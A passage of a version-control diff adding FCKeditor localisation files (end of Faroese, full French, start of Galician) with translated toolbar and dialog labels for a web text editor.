+DlgSelectValue		: "Virði",
+DlgSelectSize		: "Stødd",
+DlgSelectLines		: "linjir",
+DlgSelectChkMulti	: "Loyv fleiri valmøguleikar",
+DlgSelectOpAvail	: "valmøguleikar",
+DlgSelectOpText		: "Tekstur",
+DlgSelectOpValue	: "Virði",
+DlgSelectBtnAdd		: "Legg afturat",
+DlgSelectBtnModify	: "Broyt",
+DlgSelectBtnUp		: "Upp",
+DlgSelectBtnDown	: "Niður",
+DlgSelectBtnSetValue : "Set sum útvald",
+DlgSelectBtnDelete	: "Sletta",
+
+// Textarea Dialog
+DlgTextareaName	: "Navn",
+DlgTextareaCols	: "talrøð",
+DlgTextareaRows	: "Rekkja",
+
+// Text Field Dialog
+DlgTextName			: "Navn",
+DlgTextValue		: "Virði",
+DlgTextCharWidth	: "Sjónligt tal av bókstavum",
+DlgTextMaxChars		: "Hægst loyvda tal av bókstavum",
+DlgTextType			: "Slag",
+DlgTextTypeText		: "Tekstur",
+DlgTextTypePass		: "Koduorð",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Navn",
+DlgHiddenValue	: "Virði",
+
+// Bulleted List Dialog
+BulletedListProp	: "Punktteknsuppsetingar eginleikar",
+NumberedListProp	: "Taluppsetingar eginleikar",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Slag",
+DlgLstTypeCircle	: "Sirkul",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Fýrakantur",
+DlgLstTypeNumbers	: "Talmerkt (1, 2, 3)",
+DlgLstTypeLCase		: "Smáir bókstavir (a, b, c)",
+DlgLstTypeUCase		: "Stórir bókstavir (A, B, C)",
+DlgLstTypeSRoman	: "Smá rómaratøl (i, ii, iii)",
+DlgLstTypeLRoman	: "Stór rómaratøl (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Generelt",
+DlgDocBackTab		: "Bakgrund",
+DlgDocColorsTab		: "Farva og Breddin",
+DlgDocMetaTab		: "Meta Information",
+
+DlgDocPageTitle		: "Síðu heiti",
+DlgDocLangDir		: "Mál",
+DlgDocLangDirLTR	: "Frá vinstru móti høgru (LTR)",
+DlgDocLangDirRTL	: "Frá høgru móti vinstru (RTL)",
+DlgDocLangCode		: "Landakoda",
+DlgDocCharSet		: "Karakter set kodu",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Annar karakter set kodu",
+
+DlgDocDocType		: "Dokument slag kategori",
+DlgDocDocTypeOther	: "Annað dokument slag kategori",
+DlgDocIncXHTML		: "Inkludere XHTML deklartion",
+DlgDocBgColor		: "Bakgrundsfarva",
+DlgDocBgImage		: "Bakgrundsmynd URL",
+DlgDocBgNoScroll	: "Ikki scrollbar bakgrund",
+DlgDocCText			: "Tekstur",
+DlgDocCLink			: "Leinkja",
+DlgDocCVisited		: "Vitja leinkja",
+DlgDocCActive		: "Aktiv leinkja",
+DlgDocMargins		: "Síðu breddi",
+DlgDocMaTop			: "Ovast",
+DlgDocMaLeft		: "Vinstra",
+DlgDocMaRight		: "Høgra",
+DlgDocMaBottom		: "Niðast",
+DlgDocMeIndex		: "Dokument index lyklaorð (komma sundurskilt)",
+DlgDocMeDescr		: "Dokument lýsing",
+DlgDocMeAuthor		: "Høvundur",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vís",
+
+// Templates Dialog
+Templates			: "Frymlar",
+DlgTemplatesTitle	: "Innihaldsfrymlar",
+DlgTemplatesSelMsg	: "Vel tann frymilin, sum skal opnast í editorinum<br>(Tað verður skriva útyvir núverandi innihald):",
+DlgTemplatesLoading	: "Heintar lista yvir frymlar. Vinarliga bíða...",
+DlgTemplatesNoTpl	: "(Ongin frymil er valdur)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Um",
+DlgAboutBrowserInfoTab	: "Browsara upplýsingar",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "versión",
+DlgAboutLicense		: "Loyvi undir treytum fyri GNU Lesser General Public License",
+DlgAboutInfo		: "Fleiri upplýsingar, far til"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fr.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fr.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fr.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fr.js
+ * 	French language file.
+ * 
+ * File Authors:
+ * 		Hubert Garrido (liane@users.sourceforge.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Masquer Outils",
+ToolbarExpand		: "Afficher Outils",
+
+// Toolbar Items and Context Menu
+Save				: "Enregistrer",
+NewPage				: "Nouvelle page",
+Preview				: "Prévisualisation",
+Cut					: "Couper",
+Copy				: "Copier",
+Paste				: "Coller",
+PasteText			: "Coller comme texte",
+PasteWord			: "Coller de Word",
+Print				: "Imprimer",
+SelectAll			: "Tout sélectionner",
+RemoveFormat		: "Supprimer le format",
+InsertLinkLbl		: "Lien",
+InsertLink			: "Insérer/modifier le lien",
+RemoveLink			: "Supprimer le lien",
+Anchor				: "Insérer/modifier l'ancre",
+InsertImageLbl		: "Image",
+InsertImage			: "Insérer/modifier l'image",
+InsertFlashLbl		: "Animation Flash",
+InsertFlash			: "Insérer/modifier l'animation Flash",
+InsertTableLbl		: "Tableau",
+InsertTable			: "Insérer/modifier le tableau",
+InsertLineLbl		: "Séparateur",
+InsertLine			: "Insérer un séparateur",
+InsertSpecialCharLbl: "Caractères spéciaux",
+InsertSpecialChar	: "Insérer un caractère spécial",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Insérer un Smiley",
+About				: "A propos de FCKeditor",
+Bold				: "Gras",
+Italic				: "Italique",
+Underline			: "Souligné",
+StrikeThrough		: "Barré",
+Subscript			: "Indice",
+Superscript			: "Exposant",
+LeftJustify			: "Aligné à gauche",
+CenterJustify		: "Centré",
+RightJustify		: "Aligné à Droite",
+BlockJustify		: "Texte justifié",
+DecreaseIndent		: "Diminuer le retrait",
+IncreaseIndent		: "Augmenter le retrait",
+Undo				: "Annuler",
+Redo				: "Refaire",
+NumberedListLbl		: "Liste numérotée",
+NumberedList		: "Insérer/supprimer la liste numérotée",
+BulletedListLbl		: "Liste à puces",
+BulletedList		: "Insérer/supprimer la liste à puces",
+ShowTableBorders	: "Afficher les bordures du tableau",
+ShowDetails			: "Afficher les caractères invisibles",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Police",
+FontSize			: "Taille",
+TextColor			: "Couleur de caractère",
+BGColor				: "Couleur de fond",
+Source				: "Source",
+Find				: "Chercher",
+Replace				: "Remplacer",
+SpellCheck			: "Orthographe",
+UniversalKeyboard	: "Clavier universel",
+PageBreakLbl		: "Saut de page",
+PageBreak			: "Insérer un saut de page",
+
+Form			: "Formulaire",
+Checkbox		: "Case à cocher",
+RadioButton		: "Bouton radio",
+TextField		: "Champ texte",
+Textarea		: "Zone de texte",
+HiddenField		: "Champ caché",
+Button			: "Bouton",
+SelectionField	: "Liste/menu",
+ImageButton		: "Bouton image",
+
+FitWindow		: "Edition pleine page",
+
+// Context Menu
+EditLink			: "Modifier le lien",
+CellCM				: "Cellule",
+RowCM				: "Ligne",
+ColumnCM			: "Colonne",
+InsertRow			: "Insérer une ligne",
+DeleteRows			: "Supprimer des lignes",
+InsertColumn		: "Insérer une colonne",
+DeleteColumns		: "Supprimer des colonnes",
+InsertCell			: "Insérer une cellule",
+DeleteCells			: "Supprimer des cellules",
+MergeCells			: "Fusionner les cellules",
+SplitCell			: "Scinder les cellules",
+TableDelete			: "Supprimer le tableau",
+CellProperties		: "Propriétés de cellule",
+TableProperties		: "Propriétés du tableau",
+ImageProperties		: "Propriétés de l'image",
+FlashProperties		: "Propriétés de l'animation Flash",
+
+AnchorProp			: "Propriétés de l'ancre",
+ButtonProp			: "Propriétés du bouton",
+CheckboxProp		: "Propriétés de la case à cocher",
+HiddenFieldProp		: "Propriétés du champ caché",
+RadioButtonProp		: "Propriétés du bouton radio",
+ImageButtonProp		: "Propriétés du bouton image",
+TextFieldProp		: "Propriétés du champ texte",
+SelectionFieldProp	: "Propriétés de la liste/du menu",
+TextareaProp		: "Propriétés de la zone de texte",
+FormProp			: "Propriétés du formulaire",
+
+FontFormats			: "Normal;Formaté;Adresse;En-tête 1;En-tête 2;En-tête 3;En-tête 4;En-tête 5;En-tête 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Calcul XHTML. Veuillez patienter...",
+Done				: "Terminé",
+PasteWordConfirm	: "Le texte à coller semble provenir de Word. Désirez-vous le nettoyer avant de coller?",
+NotCompatiblePaste	: "Cette commande nécessite Internet Explorer version 5.5 minimum. Souhaitez-vous coller sans nettoyage?",
+UnknownToolbarItem	: "Elément de barre d'outil inconnu \"%1\"",
+UnknownCommand		: "Nom de commande inconnu \"%1\"",
+NotImplemented		: "Commande non encore écrite",
+UnknownToolbarSet	: "La barre d'outils \"%1\" n'existe pas",
+NoActiveX			: "Les paramètres de sécurité de votre navigateur peuvent limiter quelques fonctionnalités de l'éditeur. Veuillez activer l'option \"Exécuter les contrôles ActiveX et les plug-ins\". Il se peut que vous rencontriez des erreurs et remarquiez quelques limitations.",
+BrowseServerBlocked : "Le navigateur n'a pas pu être ouvert. Assurez-vous que les bloqueurs de popups soient désactivés.",
+DialogBlocked		: "La fenêtre de dialogue n'a pas pu s'ouvrir. Assurez-vous que les bloqueurs de popups soient désactivés.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Annuler",
+DlgBtnClose			: "Fermer",
+DlgBtnBrowseServer	: "Parcourir le serveur",
+DlgAdvancedTag		: "Avancé",
+DlgOpOther			: "<Autre>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Veuillez saisir l'URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<Par défaut>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Sens d'écriture",
+DlgGenLangDirLtr	: "De gauche à droite (LTR)",
+DlgGenLangDirRtl	: "De droite à gauche (RTL)",
+DlgGenLangCode		: "Code langue",
+DlgGenAccessKey		: "Equivalent clavier",
+DlgGenName			: "Nom",
+DlgGenTabIndex		: "Ordre de tabulation",
+DlgGenLongDescr		: "URL de description longue",
+DlgGenClass			: "Classes de feuilles de style",
+DlgGenTitle			: "Titre",
+DlgGenContType		: "Type de contenu",
+DlgGenLinkCharset	: "Encodage de caractère",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Propriétés de l'image",
+DlgImgInfoTab		: "Informations sur l'image",
+DlgImgBtnUpload		: "Envoyer sur le serveur",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Télécharger",
+DlgImgAlt			: "Texte de remplacement",
+DlgImgWidth			: "Largeur",
+DlgImgHeight		: "Hauteur",
+DlgImgLockRatio		: "Garder les proportions",
+DlgBtnResetSize		: "Taille originale",
+DlgImgBorder		: "Bordure",
+DlgImgHSpace		: "Espacement horizontal",
+DlgImgVSpace		: "Espacement vertical",
+DlgImgAlign			: "Alignement",
+DlgImgAlignLeft		: "Gauche",
+DlgImgAlignAbsBottom: "Abs Bas",
+DlgImgAlignAbsMiddle: "Abs Milieu",
+DlgImgAlignBaseline	: "Bas du texte",
+DlgImgAlignBottom	: "Bas",
+DlgImgAlignMiddle	: "Milieu",
+DlgImgAlignRight	: "Droite",
+DlgImgAlignTextTop	: "Haut du texte",
+DlgImgAlignTop		: "Haut",
+DlgImgPreview		: "Prévisualisation",
+DlgImgAlertUrl		: "Veuillez saisir l'URL de l'image",
+DlgImgLinkTab		: "Lien",
+
+// Flash Dialog
+DlgFlashTitle		: "Propriétés de l'animation Flash",
+DlgFlashChkPlay		: "Lecture automatique",
+DlgFlashChkLoop		: "Boucle",
+DlgFlashChkMenu		: "Activer le menu Flash",
+DlgFlashScale		: "Affichage",
+DlgFlashScaleAll	: "Par défaut (tout montrer)",
+DlgFlashScaleNoBorder	: "Sans bordure",
+DlgFlashScaleFit	: "Ajuster aux dimensions",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Propriétés du lien",
+DlgLnkInfoTab		: "Informations sur le lien",
+DlgLnkTargetTab		: "Destination",
+
+DlgLnkType			: "Type de lien",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ancre dans cette page",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocole",
+DlgLnkProtoOther	: "<autre>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Sélectionner une ancre",
+DlgLnkAnchorByName	: "Par nom",
+DlgLnkAnchorById	: "Par id",
+DlgLnkNoAnchors		: "<Pas d'ancre disponible dans le document>",
+DlgLnkEMail			: "Adresse E-Mail",
+DlgLnkEMailSubject	: "Sujet du message",
+DlgLnkEMailBody		: "Corps du message",
+DlgLnkUpload		: "Télécharger",
+DlgLnkBtnUpload		: "Envoyer sur le serveur",
+
+DlgLnkTarget		: "Destination",
+DlgLnkTargetFrame	: "<cadre>",
+DlgLnkTargetPopup	: "<fenêtre popup>",
+DlgLnkTargetBlank	: "Nouvelle fenêtre (_blank)",
+DlgLnkTargetParent	: "Fenêtre mère (_parent)",
+DlgLnkTargetSelf	: "Même fenêtre (_self)",
+DlgLnkTargetTop		: "Fenêtre supérieure (_top)",
+DlgLnkTargetFrameName	: "Nom du cadre de destination",
+DlgLnkPopWinName	: "Nom de la fenêtre popup",
+DlgLnkPopWinFeat	: "Caractéristiques de la fenêtre popup",
+DlgLnkPopResize		: "Taille modifiable",
+DlgLnkPopLocation	: "Barre d'adresses",
+DlgLnkPopMenu		: "Barre de menu",
+DlgLnkPopScroll		: "Barres de défilement",
+DlgLnkPopStatus		: "Barre d'état",
+DlgLnkPopToolbar	: "Barre d'outils",
+DlgLnkPopFullScrn	: "Plein écran (IE)",
+DlgLnkPopDependent	: "Dépendante (Netscape)",
+DlgLnkPopWidth		: "Largeur",
+DlgLnkPopHeight		: "Hauteur",
+DlgLnkPopLeft		: "Position à partir de la gauche",
+DlgLnkPopTop		: "Position à partir du haut",
+
+DlnLnkMsgNoUrl		: "Veuillez saisir l'URL",
+DlnLnkMsgNoEMail	: "Veuillez saisir l'adresse e-mail",
+DlnLnkMsgNoAnchor	: "Veuillez sélectionner une ancre",
+DlnLnkMsgInvPopName	: "Le nom de la fenêtre popup doit commencer par une lettre et ne doit pas contenir d'espace",
+
+// Color Dialog
+DlgColorTitle		: "Sélectionner",
+DlgColorBtnClear	: "Effacer",
+DlgColorHighlight	: "Prévisualisation",
+DlgColorSelected	: "Sélectionné",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insérer un Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Insérer un caractère spécial",
+
+// Table Dialog
+DlgTableTitle		: "Propriétés du tableau",
+DlgTableRows		: "Lignes",
+DlgTableColumns		: "Colonnes",
+DlgTableBorder		: "Bordure",
+DlgTableAlign		: "Alignement",
+DlgTableAlignNotSet	: "<Par défaut>",
+DlgTableAlignLeft	: "Gauche",
+DlgTableAlignCenter	: "Centré",
+DlgTableAlignRight	: "Droite",
+DlgTableWidth		: "Largeur",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "pourcentage",
+DlgTableHeight		: "Hauteur",
+DlgTableCellSpace	: "Espacement",
+DlgTableCellPad		: "Contour",
+DlgTableCaption		: "Titre",
+DlgTableSummary		: "Résumé",
+
+// Table Cell Dialog
+DlgCellTitle		: "Propriétés de la cellule",
+DlgCellWidth		: "Largeur",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "pourcentage",
+DlgCellHeight		: "Hauteur",
+DlgCellWordWrap		: "Retour à la ligne",
+DlgCellWordWrapNotSet	: "<Par défaut>",
+DlgCellWordWrapYes	: "Oui",
+DlgCellWordWrapNo	: "Non",
+DlgCellHorAlign		: "Alignement horizontal",
+DlgCellHorAlignNotSet	: "<Par défaut>",
+DlgCellHorAlignLeft	: "Gauche",
+DlgCellHorAlignCenter	: "Centré",
+DlgCellHorAlignRight: "Droite",
+DlgCellVerAlign		: "Alignement vertical",
+DlgCellVerAlignNotSet	: "<Par défaut>",
+DlgCellVerAlignTop	: "Haut",
+DlgCellVerAlignMiddle	: "Milieu",
+DlgCellVerAlignBottom	: "Bas",
+DlgCellVerAlignBaseline	: "Bas du texte",
+DlgCellRowSpan		: "Lignes fusionnées",
+DlgCellCollSpan		: "Colonnes fusionnées",
+DlgCellBackColor	: "Fond",
+DlgCellBorderColor	: "Bordure",
+DlgCellBtnSelect	: "Choisir...",
+
+// Find Dialog
+DlgFindTitle		: "Chercher",
+DlgFindFindBtn		: "Chercher",
+DlgFindNotFoundMsg	: "Le texte indiqué est introuvable.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Remplacer",
+DlgReplaceFindLbl		: "Rechercher:",
+DlgReplaceReplaceLbl	: "Remplacer par:",
+DlgReplaceCaseChk		: "Respecter la casse",
+DlgReplaceReplaceBtn	: "Remplacer",
+DlgReplaceReplAllBtn	: "Tout remplacer",
+DlgReplaceWordChk		: "Mot entier",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Les paramètres de sécurité de votre navigateur empêchent l'éditeur de coller automatiquement vos données. Veuillez utiliser les équivalents claviers (Ctrl+V).",
+PasteErrorCut	: "Les paramètres de sécurité de votre navigateur empêchent l'éditeur de couper automatiquement vos données. Veuillez utiliser les équivalents claviers (Ctrl+X).",
+PasteErrorCopy	: "Les paramètres de sécurité de votre navigateur empêchent l'éditeur de copier automatiquement vos données. Veuillez utiliser les équivalents claviers (Ctrl+C).",
+
+PasteAsText		: "Coller comme texte",
+PasteFromWord	: "Coller à partir de Word",
+
+DlgPasteMsg2	: "Veuillez coller dans la zone ci-dessous en utilisant le clavier (<STRONG>Ctrl+V</STRONG>) et cliquez sur <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorer les polices de caractères",
+DlgPasteRemoveStyles	: "Supprimer les styles",
+DlgPasteCleanBox		: "Effacer le contenu",
+
+// Color Picker
+ColorAutomatic	: "Automatique",
+ColorMoreColors	: "Plus de couleurs...",
+
+// Document Properties
+DocProps		: "Propriétés du document",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Propriétés de l'ancre",
+DlgAnchorName		: "Nom de l'ancre",
+DlgAnchorErrorName	: "Veuillez saisir le nom de l'ancre",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Pas dans le dictionnaire",
+DlgSpellChangeTo		: "Changer en",
+DlgSpellBtnIgnore		: "Ignorer",
+DlgSpellBtnIgnoreAll	: "Ignorer tout",
+DlgSpellBtnReplace		: "Remplacer",
+DlgSpellBtnReplaceAll	: "Remplacer tout",
+DlgSpellBtnUndo			: "Annuler",
+DlgSpellNoSuggestions	: "- Aucune suggestion -",
+DlgSpellProgress		: "Vérification d'orthographe en cours...",
+DlgSpellNoMispell		: "Vérification d'orthographe terminée: Aucune erreur trouvée",
+DlgSpellNoChanges		: "Vérification d'orthographe terminée: Pas de modifications",
+DlgSpellOneChange		: "Vérification d'orthographe terminée: Un mot modifié",
+DlgSpellManyChanges		: "Vérification d'orthographe terminée: %1 mots modifiés",
+
+IeSpellDownload			: "Le Correcteur n'est pas installé. Souhaitez-vous le télécharger maintenant?",
+
+// Button Dialog
+DlgButtonText		: "Texte (valeur)",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Bouton",
+DlgButtonTypeSbm	: "Envoyer",
+DlgButtonTypeRst	: "Réinitialiser",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nom",
+DlgCheckboxValue	: "Valeur",
+DlgCheckboxSelected	: "Sélectionné",
+
+// Form Dialog
+DlgFormName		: "Nom",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Méthode",
+
+// Select Field Dialog
+DlgSelectName		: "Nom",
+DlgSelectValue		: "Valeur",
+DlgSelectSize		: "Taille",
+DlgSelectLines		: "lignes",
+DlgSelectChkMulti	: "Sélection multiple",
+DlgSelectOpAvail	: "Options disponibles",
+DlgSelectOpText		: "Texte",
+DlgSelectOpValue	: "Valeur",
+DlgSelectBtnAdd		: "Ajouter",
+DlgSelectBtnModify	: "Modifier",
+DlgSelectBtnUp		: "Monter",
+DlgSelectBtnDown	: "Descendre",
+DlgSelectBtnSetValue : "Valeur sélectionnée",
+DlgSelectBtnDelete	: "Supprimer",
+
+// Textarea Dialog
+DlgTextareaName	: "Nom",
+DlgTextareaCols	: "Colonnes",
+DlgTextareaRows	: "Lignes",
+
+// Text Field Dialog
+DlgTextName			: "Nom",
+DlgTextValue		: "Valeur",
+DlgTextCharWidth	: "Largeur en caractères",
+DlgTextMaxChars		: "Nombre maximum de caractères",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Texte",
+DlgTextTypePass		: "Mot de passe",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nom",
+DlgHiddenValue	: "Valeur",
+
+// Bulleted List Dialog
+BulletedListProp	: "Propriétés de liste à puces",
+NumberedListProp	: "Propriétés de liste numérotée",
+DlgLstStart			: "Début",
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Cercle",
+DlgLstTypeDisc		: "Disque",
+DlgLstTypeSquare	: "Carré",
+DlgLstTypeNumbers	: "Nombres (1, 2, 3)",
+DlgLstTypeLCase		: "Lettres minuscules (a, b, c)",
+DlgLstTypeUCase		: "Lettres majuscules (A, B, C)",
+DlgLstTypeSRoman	: "Chiffres romains minuscules (i, ii, iii)",
+DlgLstTypeLRoman	: "Chiffres romains majuscules (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Général",
+DlgDocBackTab		: "Fond",
+DlgDocColorsTab		: "Couleurs et marges",
+DlgDocMetaTab		: "Métadonnées",
+
+DlgDocPageTitle		: "Titre de la page",
+DlgDocLangDir		: "Sens d'écriture",
+DlgDocLangDirLTR	: "De la gauche vers la droite (LTR)",
+DlgDocLangDirRTL	: "De la droite vers la gauche (RTL)",
+DlgDocLangCode		: "Code langue",
+DlgDocCharSet		: "Encodage de caractère",
+DlgDocCharSetCE		: "Europe Centrale",
+DlgDocCharSetCT		: "Chinois Traditionnel (Big5)",
+DlgDocCharSetCR		: "Cyrillique",
+DlgDocCharSetGR		: "Grec",
+DlgDocCharSetJP		: "Japanais",
+DlgDocCharSetKR		: "Coréen",
+DlgDocCharSetTR		: "Turc",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Occidental",
+DlgDocCharSetOther	: "Autre encodage de caractère",
+
+DlgDocDocType		: "Type de document",
+DlgDocDocTypeOther	: "Autre type de document",
+DlgDocIncXHTML		: "Inclure les déclarations XHTML",
+DlgDocBgColor		: "Couleur de fond",
+DlgDocBgImage		: "Image de fond",
+DlgDocBgNoScroll	: "Image fixe sans défilement",
+DlgDocCText			: "Texte",
+DlgDocCLink			: "Lien",
+DlgDocCVisited		: "Lien visité",
+DlgDocCActive		: "Lien activé",
+DlgDocMargins		: "Marges",
+DlgDocMaTop			: "Haut",
+DlgDocMaLeft		: "Gauche",
+DlgDocMaRight		: "Droite",
+DlgDocMaBottom		: "Bas",
+DlgDocMeIndex		: "Mots-clés (séparés par des virgules)",
+DlgDocMeDescr		: "Description",
+DlgDocMeAuthor		: "Auteur",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Prévisualisation",
+
+// Templates Dialog
+Templates			: "Modèles",
+DlgTemplatesTitle	: "Modèles de contenu",
+DlgTemplatesSelMsg	: "Veuillez sélectionner le modèle à ouvrir dans l'éditeur<br>(le contenu actuel sera remplacé):",
+DlgTemplatesLoading	: "Chargement de la liste des modèles. Veuillez patienter...",
+DlgTemplatesNoTpl	: "(Aucun modèle disponible)",
+DlgTemplatesReplace	: "Remplacer tout le contenu",
+
+// About Dialog
+DlgAboutAboutTab	: "A propos de",
+DlgAboutBrowserInfoTab	: "Navigateur",
+DlgAboutLicenseTab	: "License",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "License selon les termes de GNU Lesser General Public License",
+DlgAboutInfo		: "Pour plus d'informations, aller à"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/gl.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/gl.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/gl.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: gl.js
+ * 	Galician language file.
+ * 
+ * File Authors:
+ * 		Fernando Riveiro Lopez
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Ocultar Ferramentas",
+ToolbarExpand		: "Mostrar Ferramentas",
+
+// Toolbar Items and Context Menu
+Save				: "Gardar",
+NewPage				: "Nova Páxina",
+Preview				: "Vista Previa",
+Cut					: "Cortar",
+Copy				: "Copiar",
+Paste				: "Pegar",
+PasteText			: "Pegar como texto plano",
+PasteWord			: "Pegar dende Word",
+Print				: "Imprimir",
+SelectAll			: "Seleccionar todo",
+RemoveFormat		: "Eliminar Formato",
+InsertLinkLbl		: "Ligazón",
+InsertLink			: "Inserir/Editar Ligazón",
+RemoveLink			: "Eliminar Ligazón",
+Anchor				: "Inserir/Editar Referencia",
+InsertImageLbl		: "Imaxe",
+InsertImage			: "Inserir/Editar Imaxe",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Inserir/Editar Flash",
+InsertTableLbl		: "Tabla",
+InsertTable			: "Inserir/Editar Tabla",
+InsertLineLbl		: "Liña",
+InsertLine			: "Inserir Liña Horizontal",
+InsertSpecialCharLbl: "Carácter Special",
+InsertSpecialChar	: "Inserir Carácter Especial",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Inserir Smiley",
+About				: "Acerca de FCKeditor",
+Bold				: "Negrita",
+Italic				: "Cursiva",
+Underline			: "Sub-raiado",
+StrikeThrough		: "Tachado",
+Subscript			: "Subíndice",
+Superscript			: "Superíndice",
+LeftJustify			: "Aliñar á Esquerda",
+CenterJustify		: "Centrado",
+RightJustify		: "Aliñar á Dereita",
+BlockJustify		: "Xustificado",
+DecreaseIndent		: "Disminuir Sangría",
+IncreaseIndent		: "Aumentar Sangría",
+Undo				: "Desfacer",
+Redo				: "Refacer",
+NumberedListLbl		: "Lista Numerada",
+NumberedList		: "Inserir/Eliminar Lista Numerada",
+BulletedListLbl		: "Marcas",
+BulletedList		: "Inserir/Eliminar Marcas",
+ShowTableBorders	: "Mostrar Bordes das Táboas",
+ShowDetails			: "Mostrar Marcas Parágrafo",
+Style				: "Estilo",
+FontFormat			: "Formato",
+Font				: "Tipo",
+FontSize			: "Tamaño",
+TextColor			: "Cor do Texto",
+BGColor				: "Cor do Fondo",
+Source				: "Código Fonte",
+Find				: "Procurar",
+Replace				: "Substituir",
+SpellCheck			: "Corrección Ortográfica",
+UniversalKeyboard	: "Teclado Universal",
+PageBreakLbl		: "Salto de Páxina",
+PageBreak			: "Inserir Salto de Páxina",
+
+Form			: "Formulario",
+Checkbox		: "Cadro de Verificación",
+RadioButton		: "Botón de Radio",
+TextField		: "Campo de Texto",
+Textarea		: "Área de Texto",
+HiddenField		: "Campo Oculto",
+Button			: "Botón",
+SelectionField	: "Campo de Selección",
+ImageButton		: "Botón de Imaxe",
+
+FitWindow		: "Maximizar o tamaño do editor",
+
+// Context Menu
+EditLink			: "Editar Ligazón",
+CellCM				: "Cela",
+RowCM				: "Fila",
+ColumnCM			: "Columna",
+InsertRow			: "Inserir Fila",
+DeleteRows			: "Borrar Filas",
+InsertColumn		: "Inserir Columna",
+DeleteColumns		: "Borrar Columnas",
+InsertCell			: "Inserir Cela",
+DeleteCells			: "Borrar Cela",
+MergeCells			: "Unir Celas",
+SplitCell			: "Partir Celas",
+TableDelete			: "Borrar Táboa",
+CellProperties		: "Propriedades da Cela",
+TableProperties		: "Propriedades da Táboa",
+ImageProperties		: "Propriedades Imaxe",
+FlashProperties		: "Propriedades Flash",
+
+AnchorProp			: "Propriedades da Referencia",
+ButtonProp			: "Propriedades do Botón",
+CheckboxProp		: "Propriedades do Cadro de Verificación",
+HiddenFieldProp		: "Propriedades do Campo Oculto",
+RadioButtonProp		: "Propriedades do Botón de Radio",
+ImageButtonProp		: "Propriedades do Botón de Imaxe",
